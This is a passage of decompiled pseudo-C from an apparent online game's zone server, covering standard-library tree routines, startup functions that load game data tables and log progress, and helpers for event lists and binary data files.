*(_BYTE *)(*(_DWORD *)&v5 + 17) ) v10 = (std::_Tree_nod,std::allocator,0> >::_Node *)v7; else v10 = std::_Tree_std::allocator_0>>::_Min(*(std::_Tree_nod,std::allocator,0> >::_Node **)&v5); v9->_Left = (std::_Tree_nod,std::allocator,0> >::_Node *)v10; } v11 = v3->_Myhead; if ( v11->_Right == (std::_Tree_nod,std::allocator,0> >::_Node *)_Erasednode ) { if ( *(_BYTE *)(*(_DWORD *)&v5 + 17) ) v11->_Right = (std::_Tree_nod,std::allocator,0> >::_Node *)v7; else v11->_Right = (std::_Tree_nod,std::allocator,0> >::_Node *)std::_Tree_std::allocator_0>>::_Max(*(std::_Tree_nod,std::allocator,0> >::_Node **)&v5); } goto LABEL_36; } if ( *(_BYTE *)(*(_DWORD *)(*(_DWORD *)&v4 + 8) + 17) ) { v5 = (std::_Tree,std::allocator,0> >::iterator)**(_DWORD **)&v4; goto LABEL_9; } v6 = _Where; v5 = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&_Where + 8); if ( _Where == v4 ) goto LABEL_9; *(_DWORD *)(**(_DWORD **)&v4 + 4) = _Where; **(_DWORD **)&v6 = **(_DWORD **)&v4; if ( v6 == *(_DWORD *)(*(_DWORD *)&v4 + 8) ) { v7 = v6; } else { v7 = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&v6 + 4); if ( !*(_BYTE *)(*(_DWORD *)&v5 + 17) ) *(_DWORD *)(*(_DWORD *)&v5 + 4) = v7; **(_DWORD **)&v7 = v5; *(_DWORD *)(*(_DWORD *)&v6 + 8) = *(_DWORD *)(*(_DWORD *)&v4 + 8); *(_DWORD *)(*(_DWORD *)(*(_DWORD *)&v4 + 8) + 4) = v6; } v12 = v3->_Myhead; if ( v12->_Parent == (std::_Tree_nod,std::allocator,0> >::_Node *)v4 ) { v12->_Parent = (std::_Tree_nod,std::allocator,0> >::_Node *)v6; } else { v13 = *(_DWORD *)(*(_DWORD *)&v4 + 4); if ( *(_DWORD *)v13 == v4 ) *(_DWORD *)v13 = v6; else *(_DWORD *)(v13 + 8) = v6; } *(_DWORD *)(*(_DWORD *)&v6 + 4) = *(_DWORD *)(*(_DWORD *)&v4 + 4); v14 = *(_BYTE *)(*(_DWORD *)&v6 + 16); *(_BYTE *)(*(_DWORD *)&v6 + 16) = *(_BYTE *)(*(_DWORD *)&v4 + 16); *(_BYTE *)(*(_DWORD *)&v4 + 16) = v14; LABEL_36: if ( *(_BYTE *)(*(_DWORD *)&_Erasednode + 16) == 1 ) { if ( (std::_Tree_nod,std::allocator,0> >::_Node *)v5 != v3->_Myhead->_Parent ) { do { if ( *(_BYTE *)(*(_DWORD *)&v5 + 16) != 1 ) break; v15 = **(_DWORD **)&v7; if ( v5 == **(_DWORD **)&v7 ) { v15 = *(_DWORD *)(*(_DWORD *)&v7 + 8); if ( !*(_BYTE *)(v15 + 16) ) { *(_BYTE *)(v15 + 16) = 1; *(_BYTE *)(*(_DWORD *)&v7 + 16) = 0; std::_Tree_std::allocator_0>>::_Lrotate( (std::_Tree,std::allocator,0> > *)v3, *(std::_Tree_nod,std::allocator,0> >::_Node **)&v7); v15 = *(_DWORD *)(*(_DWORD *)&v7 + 8); } if ( *(_BYTE *)(v15 + 17) ) goto LABEL_54; if ( *(_BYTE *)(*(_DWORD *)v15 + 16) != 1 || *(_BYTE *)(*(_DWORD *)(v15 + 8) + 16) != 1 ) { if ( *(_BYTE *)(*(_DWORD *)(v15 + 8) + 16) == 1 ) { *(_BYTE *)(*(_DWORD *)v15 + 16) = 1; *(_BYTE *)(v15 + 16) = 0; std::_Tree_std::allocator_0>>::_Rrotate( (std::_Tree,std::allocator,0> > *)v3, (std::_Tree_nod,std::allocator,0> >::_Node *)v15); v15 = *(_DWORD *)(*(_DWORD *)&v7 + 8); } *(_BYTE *)(v15 + 16) = *(_BYTE *)(*(_DWORD *)&v7 + 16); *(_BYTE *)(*(_DWORD *)&v7 + 16) = 1; *(_BYTE *)(*(_DWORD *)(v15 + 8) + 16) = 1; std::_Tree_std::allocator_0>>::_Lrotate( (std::_Tree,std::allocator,0> > *)v3, *(std::_Tree_nod,std::allocator,0> >::_Node **)&v7); break; } } else { if ( !*(_BYTE *)(v15 + 16) ) { *(_BYTE *)(v15 + 16) = 1; *(_BYTE *)(*(_DWORD *)&v7 + 16) = 0; std::_Tree_std::allocator_0>>::_Rrotate( (std::_Tree,std::allocator,0> > *)v3, *(std::_Tree_nod,std::allocator,0> >::_Node **)&v7); v15 = **(_DWORD **)&v7; } if ( *(_BYTE *)(v15 + 17) ) goto LABEL_54; if ( *(_BYTE *)(*(_DWORD *)(v15 + 8) + 16) != 1 || *(_BYTE *)(*(_DWORD *)v15 + 16) != 1 ) { if ( *(_BYTE *)(*(_DWORD *)v15 + 16) == 1 ) { *(_BYTE *)(*(_DWORD *)(v15 + 8) + 16) = 1; *(_BYTE *)(v15 + 16) = 0; std::_Tree_std::allocator_0>>::_Lrotate( (std::_Tree,std::allocator,0> > *)v3, (std::_Tree_nod,std::allocator,0> >::_Node *)v15); v15 = **(_DWORD **)&v7; } *(_BYTE *)(v15 + 16) = *(_BYTE *)(*(_DWORD *)&v7 + 16); *(_BYTE *)(*(_DWORD *)&v7 + 16) = 1; *(_BYTE *)(*(_DWORD *)v15 + 16) = 1; std::_Tree_std::allocator_0>>::_Rrotate( (std::_Tree,std::allocator,0> > *)v3, *(std::_Tree_nod,std::allocator,0> >::_Node **)&v7); break; } } *(_BYTE *)(v15 + 16) = 0; LABEL_54: v5 = v7; v16 = (std::_Tree_nod,std::allocator,0> >::_Node *)v7 == v3->_Myhead->_Parent; v7 = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&v7 + 4); } while ( !v16 ); } *(_BYTE *)(*(_DWORD *)&v5 + 16) = 1; } operator delete(*(void **)&_Erasednode); v17 = v3->_Mysize; if ( v17 ) v3->_Mysize = v17 - 1; v18 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = _Where; return v18; } // 689C04: using guessed type int (__thiscall *std__out_of_range___vftable_)(void *p, char); //----- (00578110) -------------------------------------------------------- std::_Tree,std::allocator,0> >::iterator *__thiscall std::_Tree_std::allocator_0>>::erase(std::_Tree,std::allocator,0> > *this, std::_Tree,std::allocator,0> >::iterator *result, std::_Tree,std::allocator,0> >::iterator _First, std::_Tree,std::allocator,0> >::iterator _Last) { std::_Tree,std::allocator,0> >::iterator v4; // ebx@1 std::_Tree,std::allocator,0> >::iterator v5; // esi@1 std::_Tree,std::allocator,0> > *v6; // edi@1 std::_Tree_nod,std::allocator,0> >::_Node *v7; // eax@1 std::_Tree_nod,std::allocator,0> >::_Node *v8; // eax@3 std::_Tree,std::allocator,0> >::iterator *v9; // eax@3 std::_Tree,std::allocator,0> >::iterator v10; // ecx@5 int v11; // eax@6 std::_Tree,std::allocator,0> >::iterator j; // eax@7 std::_Tree,std::allocator,0> >::iterator i; // eax@10 v4 = _Last; v5 = _First; v6 = this; v7 = this->_Myhead; if ( (std::_Tree_nod,std::allocator,0> >::_Node *)_First != v7->_Left || (std::_Tree_nod,std::allocator,0> >::_Node *)_Last != v7 ) { if ( _First != _Last ) { do { v10 = v5; if ( !*(_BYTE *)(*(_DWORD *)&v5 + 17) ) { v11 = *(_DWORD *)(*(_DWORD *)&v5 + 8); if ( *(_BYTE *)(v11 + 17) ) { for ( i = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&v5 + 4); !*(_BYTE *)(*(_DWORD *)&i + 17); i = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&i + 4) ) { if ( v5 != *(_DWORD *)(*(_DWORD *)&i + 8) ) break; v5 = i; } v5 = i; } else { v5 = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&v5 + 8); for ( j = *(std::_Tree,std::allocator,0> >::iterator *)v11; !*(_BYTE *)(*(_DWORD *)&j + 17); j = (std::_Tree,std::allocator,0> >::iterator)**(_DWORD **)&j ) v5 = j; } } std::_Tree_std::allocator_0>>::erase( v6, &_First, v10); } while ( v5 != v4 ); } v9 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v5; } else { std::_Tree_std::allocator_0>>::_Erase( this, v7->_Parent); v6->_Myhead->_Parent = v6->_Myhead; v8 = v6->_Myhead; v6->_Mysize = 0; v8->_Left = v8; v6->_Myhead->_Right = v6->_Myhead; v9 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v6->_Myhead->_Left; } return v9; } //----- (005781D0) -------------------------------------------------------- void __thiscall std::set_std::allocator>::_set_std::allocator>(std::set,std::allocator > *this) { std::set,std::allocator > *v1; // esi@1 std::_Tree,std::allocator,0> >::iterator result; // [sp+0h] [bp-4h]@1 result = (std::_Tree,std::allocator,0> >::iterator)this; v1 = this; std::_Tree_std::allocator_0>>::erase( &this->baseclass_0, &result, (std::_Tree,std::allocator,0> >::iterator)this->baseclass_0._Myhead->_Left, (std::_Tree,std::allocator,0> >::iterator)this->baseclass_0._Myhead); operator delete(v1->baseclass_0._Myhead); v1->baseclass_0._Myhead = 0; v1->baseclass_0._Mysize = 0; } //----- (00578200) -------------------------------------------------------- void __thiscall std::set_std::allocator>::set_std::allocator>(std::set,std::allocator > *this) { std::set,std::allocator > *v1; // esi@1 std::_Tree_nod,std::allocator,0> >::_Node *v2; // eax@1 v1 = this; v2 = std::_Tree_std::allocator_0>>::_Buynode((std::_Tree,std::allocator,0> > *)this); v1->baseclass_0._Myhead = (std::_Tree_nod,std::allocator,0> >::_Node *)v2; v2->_Isnil = 1; v1->baseclass_0._Myhead->_Parent = v1->baseclass_0._Myhead; v1->baseclass_0._Myhead->_Left = v1->baseclass_0._Myhead; v1->baseclass_0._Myhead->_Right = v1->baseclass_0._Myhead; v1->baseclass_0._Mysize = 0; } //----- (00578240) -------------------------------------------------------- void __thiscall FieldMap::fm_StartScript(void *fldindex, int lst, __int16 handle) { void *v3; // esi@1 int v4; // eax@1 char v5; // cl@1 char *v6; // eax@1 PineScriptToken initval; // [sp+4h] [bp-110h]@1 unsigned int v8; // [sp+104h] [bp-10h]@1 int v9; // [sp+110h] [bp-4h]@1 v3 = fldindex; v8 = (unsigned int)&initval ^ __security_cookie; PineScriptToken::pst_Clear(&initval); v4 = *((_DWORD *)v3 + 3); v5 = *(_BYTE *)(v4 + 65); v6 = (char *)(v4 + 65); v9 = 0; if ( v5 != 45 ) Movie::CinemaComplex::cc_PlayFilm(*((Movie::CinemaComplex **)v3 + 17), v6, &initval, (Name3 *)v3); v9 = -1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&initval); __security_check_cookie((unsigned int)&initval ^ v8); } //----- (005782E0) -------------------------------------------------------- void __thiscall EventHeartPing::EventHeartPing(EventHeartPing *this) { this->baseclass_0.vfptr = (EventReserveBaseVtbl *)&EventHeartPing::_vftable_; } // 67A91C: using guessed type int (__cdecl *EventHeartPing___vftable_)(int __formal); //----- (005782F0) -------------------------------------------------------- int __cdecl Parameter_RunSpeed(lua_State *L) { shineparam.scp_param.chrrunspeed = (unsigned __int64)lua_tonumberx(L, 1, 0); return 0; } //----- (00578310) -------------------------------------------------------- int __cdecl Parameter_WalkSpeed(lua_State *L) { shineparam.scp_param.chrwalkspeed = (unsigned __int64)lua_tonumberx(L, 1, 0); return 0; } //----- (00578330) -------------------------------------------------------- int __cdecl ZoneServer_zs_start_black(lua_State *L) { ShineObjectHandleUnion::sohu_Initialize(); EraseOldLogList("Assert"); EraseLog(); protocolstore(&optsprotofunc); protocolstore(&zlsprotofunc); protocolstore(&gdsprotofunc); protocolstore(&glsprotofunc); protocolstore(&shineprotofunc); protocolstore(&wldmanprotofunc); return 0; } //----- (00578390) -------------------------------------------------------- int __cdecl ZoneServer_zs_start_earth(lua_State *L) { Table::SetTableDir("../9Data/Hero/"); ScenarioBookShelf::sbs_LoadScripts(&scenarioshelf); mobhatchery = (MobHatchery *)&mobhat; return 0; } //----- (005783C0) -------------------------------------------------------- int __cdecl ZoneServer_zs_start_wide(lua_State *L) { _iobuf *v1; // esi@1 _iobuf *v2; // esi@4 _iobuf *v3; // esi@4 _iobuf *v4; // esi@4 _iobuf *v5; // esi@4 _iobuf *v6; // esi@4 _iobuf *v7; // esi@4 _iobuf *v8; // esi@4 _iobuf *v9; // esi@4 _iobuf *v10; // esi@4 _iobuf *v11; // esi@4 v1 = fopen("Message.txt", "a"); fprintf(v1, "%s\n"); fclose(v1); if ( !CDataReader::Read(&gPVPNoAttack, "../9Data/Hero/PVPNoAttack.shn", 0x9Eu, 0x10u) ) { AssertClass::ac_AssertFail(&shineassert, "Fail to read 'DiceRate.shn'", 0); ShineExit("ZoneServer::ZoneServer_zs_start_wide"); } v2 = fopen("Message.txt", "a"); fprintf(v2, "%s\n"); fclose(v2); FieldContainer::fc_Load(&fieldlist, &world); v3 = fopen("Message.txt", "a"); fprintf(v3, "%s\n"); fclose(v3); SkillDataBox::sdb_Load(&skilldatabox, &world); v4 = fopen("Message.txt", "a"); fprintf(v4, "%s\n"); fclose(v4); PassiveDataBox::pdb_Load((PassiveDataBox *)&passivedatabox, &world); v5 = fopen("Message.txt", "a"); fprintf(v5, "%s\n"); fclose(v5); UpgradeDataBox::udb_Load(&upgradedatabox, &world); v6 = fopen("Message.txt", "a"); fprintf(v6, "%s\n"); fclose(v6); MerchantCityData::mcd_Load(&merchantcity); v7 = fopen("Message.txt", "a"); fprintf(v7, "%s\n"); fclose(v7); GatherProduce::GatherTable::gt_Load(&gathertable); v8 = fopen("Message.txt", "a"); fprintf(v8, "%s\n"); fclose(v8); GatherProduce::RecipeBook::rb_Load(&recipebook); v9 = fopen("Message.txt", "a"); fprintf(v9, "%s\n"); fclose(v9); UseEffect::UsedItemEffect::uie_Load(&useditemeffect); v10 = fopen("Message.txt", "a"); fprintf(v10, "%s\n"); fclose(v10); KQRewardDataBox::kqrdb_Load(&kqreward, &world); v11 = fopen("Message.txt", "a"); fprintf(v11, "%s\n"); fclose(v11); MIDRewardDataBox::midrdb_Load(&midreward, &world); return 0; } //----- (00578650) -------------------------------------------------------- int __cdecl ZoneServer_zs_start_sun(lua_State *L) { _iobuf *v1; // esi@1 _iobuf *v2; // esi@1 ORColumnHeader *v3; // eax@1 _iobuf *v4; // esi@1 _iobuf *v5; // esi@1 v1 = fopen("Message.txt", "a"); fprintf(v1, "%s\n"); fclose(v1); RidePetDataBox::rpdb_Load((RidePetDataBox *)&ridedatabox); v2 = fopen("Message.txt", "a"); fprintf(v2, "%s\n"); fclose(v2); v3 = (ORColumnHeader *)UseEffect::UsedItemEffect::uie_UseSkillID(&useditemeffect, "UseRide"); PacketContainer::pcb_SetSocketSession((ORField *)&ui_ride, v3); v4 = fopen("Message.txt", "a"); fprintf(v4, "%s\n"); fclose(v4); MobRoaming::MobRoamingSet::mrs_Load(&roamingpaths, &world); v5 = fopen("Message.txt", "a"); fprintf(v5, "%s\n"); fclose(v5); MiscDataTable::mdt_Load(&miscdatatable); return 0; } //----- (00578740) -------------------------------------------------------- int __cdecl ZoneServer_zs_start_home(lua_State *L) { _iobuf *v1; // esi@1 _iobuf *v2; // esi@1 _iobuf *v3; // esi@1 _iobuf *v4; // esi@1 _iobuf *v5; // esi@1 _iobuf *v6; // esi@1 _iobuf *v7; // esi@1 _iobuf *v8; // esi@1 _iobuf *v9; // esi@1 KQScriptManager::kqsm_Load(&kqscriptmanager, &world); v1 = fopen("Message.txt", "a"); fprintf(v1, "%s\n"); fclose(v1); DamageBySoul::SoulDamageContainer::sdc_Load(&_SoulDamageContainer, &world); v2 = fopen("Message.txt", "a"); fprintf(v2, "%s\n"); fclose(v2); MobResistTable::mrt_Load(&mobresisttable); v3 = fopen("Message.txt", "a"); fprintf(v3, "%s\n"); fclose(v3); MobDataBox::mdb_Load(&mobdatabox); MobChat::MobChatManager::mcm_Load(&mobchatman, &world); MapClusterManager::ClusterManager::cm_Init(&mapclustermanager); TownPortalData::tpd_Load(&townportaldata); ItemOptionsData::iod_Load(&itemoptiondata); RewardData::rd_Load(&rewarddata); DropLocationManager::dlm_Load(&droplocman); v4 = fopen("Message.txt", "a"); fprintf(v4, "%s\n"); fclose(v4); MapDataBox::mdb_Load(&mapdatabox); v5 = fopen("Message.txt", "a"); fprintf(v5, "%s\n"); fclose(v5); ItemDataBox::idb_Load(&itemdatabox); ItemBelongAttribute::iba_Load(&g_ItmBelongAttr); ItemDropFromMob::DropIndexCluster::dic_Load(&dropindexcluster, &world); RecallPointTable::rpt_Load((RecallPointTable *)&recallpoint, &world); v6 = fopen("Message.txt", "a"); fprintf(v6, "%s\n"); fclose(v6); ItemGroupClassifier::igc_Load(&itemgroupclassifier); v7 = fopen("Message.txt", "a"); fprintf(v7, "%s\n"); fclose(v7); AbnormalStateDictionary::SubAbState::sas_Load(&dic_subabstate); v8 = fopen("Message.txt", "a"); fprintf(v8, "%s\n"); fclose(v8); AbnormalStateDictionary::AbState::as_Load(&dic_abstate); v9 = fopen("Message.txt", "a"); fprintf(v9, "%s\n"); fclose(v9); ItemRandomOption::RandomOptionTable::rot_Load(&itemrandomoptiontable, &world); SubLayer::SubLayerInteractLoader::slil_Load(&sublayerinteract, &world); DamageByAngle::DamageTable::dt_Load(&damagebyangle_Mob, &world, "DamageByAngle_Mob"); DamageByAngle::DamageTable::dt_Load(&damagebyangle_Ply, &world, "DamageByAngle_Chr"); return 0; } //----- (005789E0) -------------------------------------------------------- int __cdecl ZoneServer_zs_start_star(lua_State *L) { _iobuf *v1; // esi@1 _iobuf *v2; // esi@4 _iobuf *v3; // esi@4 _iobuf *v4; // esi@7 _iobuf *v5; // esi@10 void *v6; // edi@13 DividendRate v7; // esi@16 v1 = fopen("Message.txt", "a"); fprintf(v1, "%s\n"); fclose(v1); if ( !CDataReader::Read(&gMiniHouseObjEffect, "../9Data/Hero/MiniHouseFurnitureObjEffect.shn", 0x1213u, 0xD2u) ) { AssertClass::ac_AssertFail(&shineassert, "Fail to read 'MiniHouseFurnitureObjEffect.shn'", 0); ShineExit("ZoneServer::ZoneServer_zs_start_star"); } v2 = fopen("Message.txt", "a"); fprintf(v2, "%s\n"); fclose(v2); MiniHouseEndureDataBox::mhe_Load(&minihouseenduredatabox); v3 = fopen("Message.txt", "a"); fprintf(v3, "%s\n"); fclose(v3); if ( !CDataReader::Read(&gMiniHouseDiceRate, "../9Data/Hero/DiceRate.shn", 0xAu, 4u) ) { AssertClass::ac_AssertFail(&shineassert, "Fail to read 'DiceRate.shn'", 0); ShineExit("ZoneServer::ZoneServer_zs_start_star"); } v4 = fopen("Message.txt", "a"); fprintf(v4, "%s\n"); fclose(v4); if ( !CDataReader::Read(&gMiniHouseDiecGame, "../9Data/Hero/DiceGame.shn", 0x831u, 0x2Cu) ) { AssertClass::ac_AssertFail(&shineassert, "Fail to read 'DiecGame.shn'", 0); ShineExit("ZoneServer::ZoneServer_zs_start_star"); } v5 = fopen("Message.txt", "a"); fprintf(v5, "%s\n"); fclose(v5); if ( !CDataReader::Read(&gMiniHouseDiceDividind, "../9Data/Hero/DiceDividind.shn", 0xA7Eu, 0x1Fu) ) { AssertClass::ac_AssertFail(&shineassert, "Fail to read 'DiceDividind.shn'", 0); ShineExit("ZoneServer::ZoneServer_zs_start_star"); } v6 = CDataReader::GetRecord(&gMiniHouseDiceDividind, 0); if ( v6 == 0 ) { AssertClass::ac_AssertFail(&shineassert, "Fail to read 'DiceDividind.shn'", 1); ShineExit("ZoneServer::ZoneServer_zs_start_star"); } DiceTaiSai::Init(&gMiniHouseDiceTaiSai, *((_BYTE *)v6 + 30)); v7 = 0; do { DiceTaiSaiDividind::Init(&gMiniHouseDiceTaiSaiDividind, v7, *((_WORD *)v6 + v7)); ++v7; } while ( (unsigned int)v7 < 0xF ); if ( !DiceTaiSaiDividind::isInitFinishe(&gMiniHouseDiceTaiSaiDividind) ) { AssertClass::ac_AssertFail(&shineassert, "Fail to read 'DiceDividind.shn'", 2); ShineExit("ZoneServer::ZoneServer_zs_start_star"); } return 0; } //----- (00578C30) -------------------------------------------------------- int __cdecl ZoneServer_zs_start_moon(lua_State *L) { _iobuf *v1; // esi@1 _iobuf *v2; // esi@1 _iobuf *v3; // esi@1 CServerInfo::MY_SERVER *v4; // eax@1 _iobuf *v5; // esi@1 _iobuf *v6; // esi@4 _iobuf *v7; // esi@7 _iobuf *v8; // esi@10 _iobuf *v9; // esi@13 v1 = fopen("Message.txt", "a"); fprintf(v1, "%s\n"); fclose(v1); ItemMall::im_Load(&itemmall); v2 = fopen("Message.txt", "a"); fprintf(v2, "%s\n"); fclose(v2); ItemEquipTable::iet_Load(&g_ItemEquipTable); v3 = fopen("Message.txt", "a"); fprintf(v3, "%s\n"); fclose(v3); v4 = ZoneServer::zs_worlddata(&zoneserver); ZoneIPContainer::zipc_SetNextIP(&zipc, v4->nZoneNo); v5 = fopen("Message.txt", "a"); fprintf(v5, "%s\n"); fclose(v5); if ( !CCharacterTitleData::Read(&gCharacterTitleData, "../9Data/Hero/CharacterTitleData.shn", 0x87Du, 0xACu) ) { AssertClass::ac_AssertFail(&shineassert, "Fail to read CharacterTitleData.shn", 0); ShineExit("ZoneServer::ZoneServer_zs_start_moon"); } v6 = fopen("Message.txt", "a"); fprintf(v6, "%s\n"); fclose(v6); if ( !CCharacterTitleDataStateServer::Read( &gCharacterTitleDataStateServer, "../9Data/Hero/CharacterTitleStateServer.shn", 0x64u, 0x26u) ) { AssertClass::ac_AssertFail(&shineassert, "Fail to read CharacterTitleStateServer.shn", 0); ShineExit("ZoneServer::ZoneServer_zs_start_moon"); } v7 = fopen("Message.txt", "a"); fprintf(v7, "%s\n"); fclose(v7); if ( !CCharacterTitleData::Read( (CCharacterTitleData *)&gAnnounceSystem, "../9Data/Hero/AnnounceData.shn", 0x23Bu, 0x108u) ) { AssertClass::ac_AssertFail(&shineassert, "Fail to read AnnounceData.shn", 0); ShineExit("ZoneServer::ZoneServer_zs_start_moon"); } v8 = fopen("Message.txt", "a"); fprintf(v8, "%s\n"); fclose(v8); if ( !CDataReader::Read(&gClassName, "../9Data/Hero/ClassName.shn") ) { AssertClass::ac_AssertFail(&shineassert, "Fail to read ClassName.shn", 0); ShineExit("ZoneServer::ZoneServer_zs_start_moon"); } v9 = fopen("Message.txt", "a"); fprintf(v9, "%s\n"); fclose(v9); if ( !CDataReader::Read(&gItemUpgrade, "../9Data/Hero/ItemUpgrade.shn", 0x51u, 0xEu) ) { AssertClass::ac_AssertFail(&shineassert, "Fail to read ItemUpgrade.shn", 0); ShineExit("ZoneServer::ZoneServer_zs_start_moon"); } return 0; } //----- (00578EC0) -------------------------------------------------------- int __cdecl ZoneServer_zs_start_yellow(lua_State *L) { const char *v1; // eax@1 HitMeList::hml_Load(&world); ShineScript::ss_Load(&shinescriptetc, &world, "ETC"); ShineScript::ss_Load(&shinescriptmenusting, &world, "MenuString"); v1 = ShineScript::ss_String(&shinescriptetc, "DeamonDead"); if ( !*v1 ) { AssertClass::ac_AssertFail(&shineassert, "ZoneServer_zs_start_yellow : DeamonDead needed", *v1 != 0); ShineExit("ZoneServer::ZoneServer_zs_start_yellow"); } return 0; } //----- (00578F40) -------------------------------------------------------- int __cdecl ZoneServer_zs_start_sky(lua_State *L) { _iobuf *v1; // esi@1 char buffer[100]; // [sp+4h] [bp-68h]@1 unsigned int v4; // [sp+68h] [bp-4h]@1 v4 = (unsigned int)buffer ^ __security_cookie; sprintf(buffer, "Player Buffer size : %d"); v1 = fopen("Message.txt", "a"); fprintf(v1, "%s\n"); fclose(v1); return 0; } //----- (00578FB0) -------------------------------------------------------- void __thiscall List::_List(List *this) { void *v1; // ecx@1 this->vfptr = (ListVtbl *)EventReserveContainer::_vftable_; v1 = this->l_Array; if ( v1 ) operator delete__(v1); } // 67AF28: using guessed type int (__stdcall *EventReserveContainer___vftable_[3])(__int16 hnd); //----- (00578FD0) -------------------------------------------------------- char __thiscall List::l_PushZ(List *this, EventReserveListElement *ele) { int v2; // eax@1 int v3; // eax@1 v2 = this->l_Finger.empty; JUMPOUT(v2, -1, Concurrency::_Order_node_base::reserve_message); v3 = ((int (__stdcall *)(int))this->vfptr->l_AllocZ)(v2); if ( !v3 ) JUMPOUT(*(int *)Concurrency::_Order_node_base::reserve_message); *(_DWORD *)v3 = ele->erle_happened; *(_DWORD *)(v3 + 4) = ele->erle_event; *(_DWORD *)(v3 + 8) = *(_DWORD *)&ele->erle_handle; *(_DWORD *)(v3 + 12) = ele->erle_repeat; return 1; } // 578FE6: using guessed type int __stdcall Concurrency___Order_node_base_enum Concurrency__agent_status___reserve_message(int); //----- (00579010) -------------------------------------------------------- char __thiscall List::l_PopA(List *this, EventReserveListElement *ele) { ListStruct *v2; // esi@1 int v3; // eax@1 EventReserveListElement *v5; // edx@4 v2 = this->l_Array; v3 = 3 * this->l_Finger.store; LOWORD(v3) = v2[this->l_Finger.store].ls_Next; if ( (unsigned __int16)v3 < this->l_MaxSize ) { if ( !v2[(unsigned __int16)v3].ls_IsActiv ) return 0; v5 = v2[(unsigned __int16)v3].ls_Content; ele->erle_happened = v5->erle_happened; ele->erle_event = v5->erle_event; *(_DWORD *)&ele->erle_handle = *(_DWORD *)&v5->erle_handle; ele->erle_repeat = v5->erle_repeat; ((void (__stdcall *)(_DWORD))this->vfptr->l_Free)(v3); } return 1; } //----- (00579070) -------------------------------------------------------- char __thiscall List::l_PopZ(List *this, EventReserveListElement *ele) { ListStruct *v2; // esi@1 int v3; // eax@1 EventReserveListElement *v5; // edx@4 v2 = this->l_Array; v3 = 3 * this->l_Finger.store; LOWORD(v3) = v2[this->l_Finger.store].ls_Prev; if ( (unsigned __int16)v3 < this->l_MaxSize ) { if ( !v2[(unsigned __int16)v3].ls_IsActiv ) return 0; v5 = v2[(unsigned __int16)v3].ls_Content; ele->erle_happened = v5->erle_happened; ele->erle_event = v5->erle_event; *(_DWORD *)&ele->erle_handle = *(_DWORD *)&v5->erle_handle; ele->erle_repeat = v5->erle_repeat; ((void (__stdcall *)(_DWORD))this->vfptr->l_Free)(v3); } return 1; } //----- (005790D0) -------------------------------------------------------- GameDBSession *__thiscall SocketBundle::__unnamed::__unnamed(GameDBSession *this) { GameDBSession *v1; // esi@1 v1 = this; GameDBSession::GameDBSession(this); return v1; } //----- (005790F0) -------------------------------------------------------- GameLogSession *__thiscall SocketBundle::__unnamed::__unnamed(GameLogSession *this) { GameLogSession *v1; // esi@1 v1 = this; GameLogSession::GameLogSession(this); return v1; } //----- (00579110) -------------------------------------------------------- WorldManagerSession *__thiscall SocketBundle::__unnamed::__unnamed(WorldManagerSession *this) { WorldManagerSession *v1; // esi@1 v1 = this; WorldManagerSession::WorldManagerSession(this); return v1; } //----- (00579130) -------------------------------------------------------- unsigned int __thiscall std::vector>::size(std::vector > *this) { unsigned int result; // eax@1 result = (unsigned int)this->_Myfirst; if ( result ) result = (signed int)((char *)this->_Mylast - result) / 40; return result; } //----- (00579150) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@1 unsigned int v5; // [sp+108h] [bp-4h]@1 v5 = (unsigned int)buffer ^ __security_cookie; v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 0x8Du, 0x2Bu) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (00579200) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@1 unsigned int v5; // [sp+108h] [bp-4h]@1 v5 = (unsigned int)buffer ^ __security_cookie; v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 0x1E8u, 0x6Fu) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (005792B0) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@1 unsigned int v5; // [sp+108h] [bp-4h]@1 v5 = (unsigned int)buffer ^ __security_cookie; v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 0x3F9u, 0x94u) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (00579370) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@1 unsigned int v5; // [sp+108h] [bp-4h]@1 v5 = (unsigned int)buffer ^ __security_cookie; v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 0x23u, 0xCu) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, 